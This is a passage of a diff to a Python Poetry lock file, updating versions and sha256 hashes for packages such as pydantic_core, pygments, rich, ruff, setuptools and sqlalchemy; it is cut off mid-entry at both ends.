"sha256:e846ae7835bf0703ae43f534ab79a867146dadd59dc9ca5c8b53d5c8f7c9ef02"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-win_amd64.whl", hash = "sha256:2108ba5c1c1eca18030634489dc544844144ee36357f2f9f780b93e7ddbb44b5"}, + {file = "pydantic_core-2.46.4-cp314-cp314t-win_arm64.whl", hash = "sha256:4fcbe087dbc2068af7eda3aa87634eba216dbda64d1ae73c8684b621d33f6596"}, + {file = "pydantic_core-2.46.4-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:fd8b3d9fd264be37976686c7f65cd52a83f5e84f4bfd2adf9c1d469676bbb6ae"}, + {file = "pydantic_core-2.46.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9f444c499b3eefd3a92e348059471ea0c3a6e303d9c1cec09fa748fd9f895201"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3447661d99f75a3683a4cf5c87da72f2161964611864dbbeac7fbb118bb4bfc0"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8b9bab013d1c7a79d3501ff86d0bc9c31bf587db4551677b96bec07df78c6b15"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d995260fdf4e1db774581b4900e0f832abe3c7c84996726bbc161b19c8f29e76"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f13a646d65d09fbf1bc6b3a9635d30095c8e7e5cc419ff35ecc563c5fd04cd49"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432c179df7874eeb73307aad2df0755e1ae0efa61ff0ea89b93e194411ae3928"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_31_riscv64.whl", hash = "sha256:e68b7a074f65a2fd746c52a7ce6142ab7006074ac269ace0c25cd8ba171f8066"}, + {file = "pydantic_core-2.46.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4a05d69cba51d852c5c3e92758653245a50c0b646ced0cf05bd793ed592839d6"}, + {file = "pydantic_core-2.46.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:228ee9bae8bef5b1e97ec58302f80357c37199e0d0a99174e138d28e6957b9d9"}, + {file = "pydantic_core-2.46.4-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:10e17cbb10a330363733efc4d7c4d0dd827ac0909b8f6a6542298fed1ea62f29"}, + {file = "pydantic_core-2.46.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:91a06d2e259ecfbd8c901d70c3c507900458498142b3026a296b7de4d1322cc9"}, + {file = "pydantic_core-2.46.4-cp39-cp39-win32.whl", hash = "sha256:d80ee3d731373b24cebbc10d689ca4ee1875caf0d5703a245db18efd4dd37fc1"}, + {file = "pydantic_core-2.46.4-cp39-cp39-win_amd64.whl", hash = "sha256:3be77f45df024d789a672ae34f8b06fb346c4f9f46ea714956660ea4862e89ac"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:14d4edf427bdcf950a8a02d7cb44a08614388dd6e1bdcbf4f67504fa7887da9c"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0ce40cd7b21210e99342afafbd4d0f76d784eb5b1d60f3bdc566be4983c6c73b"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:90884113d8b48f760e9587002789ddd741e76ab9f89518cd1e43b1f1a52ec44b"}, + {file = "pydantic_core-2.46.4-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:66ce7632c22d837c95301830e111ad0128a32b8207533b60896a96c4915192ea"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:1d8ba486450b14f3b1d63bc521d410ec7565e52f887b9fb671791886436a42f7"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:3009f12e4e90b7f88b4f9adb1b0c4a3d58fe7820f3238c190047209d148026df"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ad785e92e6dc634c21555edc8bd6b64957ab844541bcb96a1366c202951ae526"}, + {file = "pydantic_core-2.46.4-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00c603d540afdd6b80eb39f078f33ebd46211f02f33e34a32d9f053bba711de0"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:0c563b08bca408dc7f65f700633d8442fffb2421fc47b8101377e9fd65051ff0"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:db06ffe51636ffe9ca531fe9023dd64bdd794be8754cb5df57c5498ae5b518a7"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:133878133d271ade3d41d1bfb2a45ec38dbdbda40bc065921c6b04e4630127e2"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:9bc519fbf2b7578398853d815009ae5e4d4603d12f4e3f91da8c06852d3da3e9"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:c7a7bd4e39e8e4c12c39cd480356842b6a8a06e41b23a55a5e3e191718838ddf"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:d396ec2b979760aaf3218e76c24e65bd0aca24983298653b3a9d7a45f9e47b30"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:86e1a4418c6cd97d60c95c71164158eaf7324fae7b0923264016baa993eba6fc"}, + {file = "pydantic_core-2.46.4-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d51026d73fcfd93610abc7b27789c26b313920fcfb20e27462d74a7f8b06e983"}, + {file = "pydantic_core-2.46.4.tar.gz", hash = "sha256:62f875393d7f270851f20523dd2e29f082bcc82292d66db2b64ea71f64b6e1c1"}, ] [package.dependencies] -typing-extensions = ">=4.6.0,<4.7.0 || >4.7.0" +typing-extensions = ">=4.14.1" [[package]] name = "pyflakes" @@ -2189,14 +2168,14 @@ files = [ [[package]] name = "pygments" -version = "2.19.2" +version = "2.20.0" description = "Pygments is a syntax highlighting package written in Python." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b"}, - {file = "pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887"}, + {file = "pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176"}, + {file = "pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f"}, ] [package.extras] @@ -2258,7 +2237,7 @@ tests = ["hypothesis (>=3.27.0)", "pytest (>=7.4.0)", "pytest-cov (>=2.10.1)", " [[package]] name = "pyNfsClient" -version = "0.1.5" +version = "0.1.6" description = "Pure python NFS client" optional = false python-versions = ">=2.7" @@ -2270,7 +2249,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "a8fea2c163bf665dc6a8e35bb50e7baf81e2c6ed" +resolved_reference = "4cefeb605c80a3369de3126016b77839149b8433" [[package]] name = "pyopenssl" @@ -2366,15 +2345,15 @@ winacl = ">=0.1.9,<=0.2.0" [[package]] name = "pyreadline3" -version = "3.5.4" +version = "3.5.6" description = "A python implementation of GNU readline." optional = false python-versions = ">=3.8" groups = ["main"] markers = "sys_platform == \"win32\"" files = [ - {file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"}, - {file = "pyreadline3-3.5.4.tar.gz", hash = "sha256:8d57d53039a1c75adba8e50dd3d992b28143480816187ea5efbd5c78e6c885b7"}, + {file = "pyreadline3-3.5.6-py3-none-any.whl", hash = "sha256:8449b734232e42a5dcd74048e39b60db2839a4c38cf3ae2bf7707d58b5389c0d"}, + {file = "pyreadline3-3.5.6.tar.gz", hash = "sha256:61e53218b99656091ddb077df9e71f25850e72e030b6183b39c9b7e6e4f4a9bf"}, ] [package.extras] @@ -2454,14 +2433,14 @@ defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" -version = "2026.1.post1" +version = "2026.3.post1" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pytz-2026.1.post1-py2.py3-none-any.whl", hash = "sha256:f2fd16142fda348286a75e1a524be810bb05d444e5a081f37f7affc635035f7a"}, - {file = "pytz-2026.1.post1.tar.gz", hash = "sha256:3378dde6a0c3d26719182142c56e60c7f9af7e968076f31aae569d72a0358ee1"}, + {file = "pytz-2026.3.post1-py2.py3-none-any.whl", hash = "sha256:dd95840dd199baea12d9cc096a1d452caa6596a1c1e4b5f3dbd1541855d5e815"}, + {file = "pytz-2026.3.post1.tar.gz", hash = "sha256:2211d3fcf9a797d3405cac96ac7f61d80e6a644f72a3309607282fe8a2010c5d"}, ] [[package]] @@ -2488,14 +2467,14 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "14.3.3" +version = "15.0.0" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false -python-versions = ">=3.8.0" +python-versions = ">=3.9.0" groups = ["main"] files = [ - {file = "rich-14.3.3-py3-none-any.whl", hash = "sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d"}, - {file = "rich-14.3.3.tar.gz", hash = "sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b"}, + {file = "rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb"}, + {file = "rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36"}, ] [package.dependencies] @@ -2507,52 +2486,52 @@ jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "ruff" -version = "0.15.7" +version = "0.16.2" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.15.7-py3-none-linux_armv6l.whl", hash = "sha256:a81cc5b6910fb7dfc7c32d20652e50fa05963f6e13ead3c5915c41ac5d16668e"}, - {file = "ruff-0.15.7-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:722d165bd52403f3bdabc0ce9e41fc47070ac56d7a91b4e0d097b516a53a3477"}, - {file = "ruff-0.15.7-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7fbc2448094262552146cbe1b9643a92f66559d3761f1ad0656d4991491af49e"}, - {file = "ruff-0.15.7-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b39329b60eba44156d138275323cc726bbfbddcec3063da57caa8a8b1d50adf"}, - {file = "ruff-0.15.7-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:87768c151808505f2bfc93ae44e5f9e7c8518943e5074f76ac21558ef5627c85"}, - {file = "ruff-0.15.7-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fb0511670002c6c529ec66c0e30641c976c8963de26a113f3a30456b702468b0"}, - {file = "ruff-0.15.7-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0d19644f801849229db8345180a71bee5407b429dd217f853ec515e968a6912"}, - {file = "ruff-0.15.7-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4806d8e09ef5e84eb19ba833d0442f7e300b23fe3f0981cae159a248a10f0036"}, - {file = "ruff-0.15.7-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dce0896488562f09a27b9c91b1f58a097457143931f3c4d519690dea54e624c5"}, - {file = "ruff-0.15.7-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:1852ce241d2bc89e5dc823e03cff4ce73d816b5c6cdadd27dbfe7b03217d2a12"}, - {file = "ruff-0.15.7-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:5f3e4b221fb4bd293f79912fc5e93a9063ebd6d0dcbd528f91b89172a9b8436c"}, - {file = "ruff-0.15.7-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:b15e48602c9c1d9bdc504b472e90b90c97dc7d46c7028011ae67f3861ceba7b4"}, - {file = "ruff-0.15.7-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1b4705e0e85cedc74b0a23cf6a179dbb3df184cb227761979cc76c0440b5ab0d"}, - {file = "ruff-0.15.7-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:112c1fa316a558bb34319282c1200a8bf0495f1b735aeb78bfcb2991e6087580"}, - {file = "ruff-0.15.7-py3-none-win32.whl", hash = "sha256:6d39e2d3505b082323352f733599f28169d12e891f7dd407f2d4f54b4c2886de"}, - {file = "ruff-0.15.7-py3-none-win_amd64.whl", hash = "sha256:4d53d712ddebcd7dace1bc395367aec12c057aacfe9adbb6d832302575f4d3a1"}, - {file = "ruff-0.15.7-py3-none-win_arm64.whl", hash = "sha256:18e8d73f1c3fdf27931497972250340f92e8c861722161a9caeb89a58ead6ed2"}, - {file = "ruff-0.15.7.tar.gz", hash = "sha256:04f1ae61fc20fe0b148617c324d9d009b5f63412c0b16474f3d5f1a1a665f7ac"}, + {file = "ruff-0.16.2-py3-none-linux_armv6l.whl", hash = "sha256:3c8de4cf2181f01d57946d87d777aa52916976fc09942aed89938fab5e013318"}, + {file = "ruff-0.16.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a48cc05c6fbc811ca81b5d7ba95375affea6582d1b8024e455e41afbbf55344"}, + {file = "ruff-0.16.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:a2c0d14fcbb26c91f0f867a6dc9bd71bbc30b1b6151829c884f23faeab2e5700"}, + {file = "ruff-0.16.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:335c621622c4650330be50842561c6586ac6971bb8ab5407fe34dcc9efb16bbe"}, + {file = "ruff-0.16.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:20e66910f2c37cc753f9ef6580c914a621b80c4fa3549d3e3521e29d0f5bfc3f"}, + {file = "ruff-0.16.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7e36fbfba65510548156902bcf1350a979a958ce0347ce0f90d73894036b39f"}, + {file = "ruff-0.16.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f0eab35f80df8f134aae5d1630e751901321d317cc8e50dc39e36fa3ed34cd12"}, + {file = "ruff-0.16.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:40ea8c0594feb894e89c8c61ab9c103d38b0ea72dfde6c594107147ca31b1140"}, + {file = "ruff-0.16.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab3d62dde0b19facdd632008cc4827fc28ada7736c6bd35ab6f1050f0bfed53f"}, + {file = "ruff-0.16.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e43e1f5b8388da9eca1b9e88328d47a5cec794633ccf6f7484ac2dd15eee92c0"}, + {file = "ruff-0.16.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c24788a980581e1d7ea3a0cbe4344c4fbeb0a6a9b1f4713aa46bb104f8294690"}, + {file = "ruff-0.16.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:81806b08329130005dd4a8a8394a0c9da8c6f4cafb16ba438d2a2ee6a18bedf1"}, + {file = "ruff-0.16.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:4ce4e02bad779bef557f541a1b31f20d6abeae1cc05ed1b1ac019d4ffd1044c8"}, + {file = "ruff-0.16.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:e0422abdf70070255fc4073ce9dfc814cc03db577013761ddd09bc1e4a9a4fbd"}, + {file = "ruff-0.16.2-py3-none-win32.whl", hash = "sha256:bf3a63d78fb39f4bf5ac8ae52051c5520505301abe19ba4e204c453b3f09bb0b"}, + {file = "ruff-0.16.2-py3-none-win_amd64.whl", hash = "sha256:bcabe2f6d0fc7819f1431793005af4e4de7371927d037345bf941252b195b9fa"}, + {file = "ruff-0.16.2-py3-none-win_arm64.whl", hash = "sha256:d614e95cedf38a2053fd351c55b103ba30d017d61688fdbfd40ee0412852a99f"}, + {file = "ruff-0.16.2.tar.gz", hash = "sha256:c3d7828d12e8927a6fc65fe38e2c2541b9e762d360a1786d752cb1b8883b3c9c"}, ] [[package]] name = "setuptools" -version = "82.0.1" +version = "84.0.0" description = "Most extensible Python build backend with support for C/C++ extension modules" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "setuptools-82.0.1-py3-none-any.whl", hash = "sha256:a59e362652f08dcd477c78bb6e7bd9d80a7995bc73ce773050228a348ce2e5bb"}, - {file = "setuptools-82.0.1.tar.gz", hash = "sha256:7d872682c5d01cfde07da7bccc7b65469d3dca203318515ada1de5eda35efbf9"}, + {file = "setuptools-84.0.0-py3-none-any.whl", hash = "sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670"}, + {file = "setuptools-84.0.0.tar.gz", hash = "sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73"}, ] [package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.13.0) ; sys_platform != \"cygwin\""] +check = ["pytest-checkdocs (>=2.14)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.13.0) ; sys_platform != \"cygwin\""] core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] -enabler = ["pytest-enabler (>=2.2)"] +enabler = ["pytest-enabler (>=3.4)"] test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] -type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.18.*)", "pytest-mypy"] +type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.18.*)", "pytest-mypy (>=1.0.1) ; platform_python_implementation != \"PyPy\""] [[package]] name = "shiv" @@ -2588,87 +2567,28 @@ files = [ [[package]] name = "soupsieve" -version = "2.8.3" +version = "2.9.2" description = "A modern CSS selector implementation for Beautiful Soup." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"}, - {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"}, + {file = "soupsieve-2.9.2-py3-none-any.whl", hash = "sha256:8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823"}, + {file = "soupsieve-2.9.2.tar.gz", hash = "sha256:4a55d8cf158a9c2e587fa4922f1bbb91d68ac829e2d6f25403a85747c71daf74"}, ] [[package]] name = "sqlalchemy" -version = "2.0.48" +version = "2.0.52" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "sqlalchemy-2.0.48-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7001dc9d5f6bb4deb756d5928eaefe1930f6f4179da3924cbd95ee0e9f4dce89"}, - {file = "sqlalchemy-2.0.48-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1a89ce07ad2d4b8cfc30bd5889ec40613e028ed80ef47da7d9dd2ce969ad30e0"}, - {file = "sqlalchemy-2.0.48-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:10853a53a4a00417a00913d270dddda75815fcb80675874285f41051c094d7dd"}, - {file = "sqlalchemy-2.0.48-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:fac0fa4e4f55f118fd87177dacb1c6522fe39c28d498d259014020fec9164c29"}, - {file = "sqlalchemy-2.0.48-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3713e21ea67bca727eecd4a24bf68bcd414c403faae4989442be60994301ded0"}, - {file = "sqlalchemy-2.0.48-cp310-cp310-win32.whl", hash = "sha256:d404dc897ce10e565d647795861762aa2d06ca3f4a728c5e9a835096c7059018"}, - {file = "sqlalchemy-2.0.48-cp310-cp310-win_amd64.whl", hash = "sha256:841a94c66577661c1f088ac958cd767d7c9bf507698f45afffe7a4017049de76"}, - {file = "sqlalchemy-2.0.48-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1b4c575df7368b3b13e0cebf01d4679f9a28ed2ae6c1cd0b1d5beffb6b2007dc"}, - {file = "sqlalchemy-2.0.48-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e83e3f959aaa1c9df95c22c528096d94848a1bc819f5d0ebf7ee3df0ca63db6c"}, - {file = "sqlalchemy-2.0.48-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f7b7243850edd0b8b97043f04748f31de50cf426e939def5c16bedb540698f7"}, - {file = "sqlalchemy-2.0.48-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:82745b03b4043e04600a6b665cb98697c4339b24e34d74b0a2ac0a2488b6f94d"}, - {file = "sqlalchemy-2.0.48-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e5e088bf43f6ee6fec7dbf1ef7ff7774a616c236b5c0cb3e00662dd71a56b571"}, - {file = "sqlalchemy-2.0.48-cp311-cp311-win32.whl", hash = "sha256:9c7d0a77e36b5f4b01ca398482230ab792061d243d715299b44a0b55c89fe617"}, - {file = "sqlalchemy-2.0.48-cp311-cp311-win_amd64.whl", hash = "sha256:583849c743e0e3c9bb7446f5b5addeacedc168d657a69b418063dfdb2d90081c"}, - {file = "sqlalchemy-2.0.48-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:348174f228b99f33ca1f773e85510e08927620caa59ffe7803b37170df30332b"}, - {file = "sqlalchemy-2.0.48-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53667b5f668991e279d21f94ccfa6e45b4e3f4500e7591ae59a8012d0f010dcb"}, - {file = "sqlalchemy-2.0.48-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:34634e196f620c7a61d18d5cf7dc841ca6daa7961aed75d532b7e58b309ac894"}, - {file = "sqlalchemy-2.0.48-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:546572a1793cc35857a2ffa1fe0e58571af1779bcc1ffa7c9fb0839885ed69a9"}, - {file = "sqlalchemy-2.0.48-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:07edba08061bc277bfdc772dd2a1a43978f5a45994dd3ede26391b405c15221e"}, - {file = "sqlalchemy-2.0.48-cp312-cp312-win32.whl", hash = "sha256:908a3fa6908716f803b86896a09a2c4dde5f5ce2bb07aacc71ffebb57986ce99"}, - {file = "sqlalchemy-2.0.48-cp312-cp312-win_amd64.whl", hash = "sha256:68549c403f79a8e25984376480959975212a670405e3913830614432b5daa07a"}, - {file = "sqlalchemy-2.0.48-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:e3070c03701037aa418b55d36532ecb8f8446ed0135acb71c678dbdf12f5b6e4"}, - {file = "sqlalchemy-2.0.48-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2645b7d8a738763b664a12a1542c89c940daa55196e8d73e55b169cc5c99f65f"}, - {file = "sqlalchemy-2.0.48-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b19151e76620a412c2ac1c6f977ab1b9fa7ad43140178345136456d5265b32ed"}, - {file = "sqlalchemy-2.0.48-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5b193a7e29fd9fa56e502920dca47dffe60f97c863494946bd698c6058a55658"}, - {file = "sqlalchemy-2.0.48-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:36ac4ddc3d33e852da9cb00ffb08cea62ca05c39711dc67062ca2bb1fae35fd8"}, - {file = "sqlalchemy-2.0.48-cp313-cp313-win32.whl", hash = "sha256:389b984139278f97757ea9b08993e7b9d1142912e046ab7d82b3fbaeb0209131"}, - {file = "sqlalchemy-2.0.48-cp313-cp313-win_amd64.whl", hash = "sha256:d612c976cbc2d17edfcc4c006874b764e85e990c29ce9bd411f926bbfb02b9a2"}, - {file = "sqlalchemy-2.0.48-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69f5bc24904d3bc3640961cddd2523e361257ef68585d6e364166dfbe8c78fae"}, - {file = "sqlalchemy-2.0.48-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fd08b90d211c086181caed76931ecfa2bdfc83eea3cfccdb0f82abc6c4b876cb"}, - {file = "sqlalchemy-2.0.48-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:1ccd42229aaac2df431562117ac7e667d702e8e44afdb6cf0e50fa3f18160f0b"}, - {file = "sqlalchemy-2.0.48-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:f0dcbc588cd5b725162c076eb9119342f6579c7f7f55057bb7e3c6ff27e13121"}, - {file = "sqlalchemy-2.0.48-cp313-cp313t-win32.whl", hash = "sha256:9764014ef5e58aab76220c5664abb5d47d5bc858d9debf821e55cfdd0f128485"}, - {file = "sqlalchemy-2.0.48-cp313-cp313t-win_amd64.whl", hash = "sha256:e2f35b4cccd9ed286ad62e0a3c3ac21e06c02abc60e20aa51a3e305a30f5fa79"}, - {file = "sqlalchemy-2.0.48-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:e2d0d88686e3d35a76f3e15a34e8c12d73fc94c1dea1cd55782e695cc14086dd"}, - {file = "sqlalchemy-2.0.48-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:49b7bddc1eebf011ea5ab722fdbe67a401caa34a350d278cc7733c0e88fecb1f"}, - {file = "sqlalchemy-2.0.48-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:426c5ca86415d9b8945c7073597e10de9644802e2ff502b8e1f11a7a2642856b"}, - {file = "sqlalchemy-2.0.48-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:288937433bd44e3990e7da2402fabc44a3c6c25d3704da066b85b89a85474ae0"}, - {file = "sqlalchemy-2.0.48-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:8183dc57ae7d9edc1346e007e840a9f3d6aa7b7f165203a99e16f447150140d2"}, - {file = "sqlalchemy-2.0.48-cp314-cp314-win32.whl", hash = 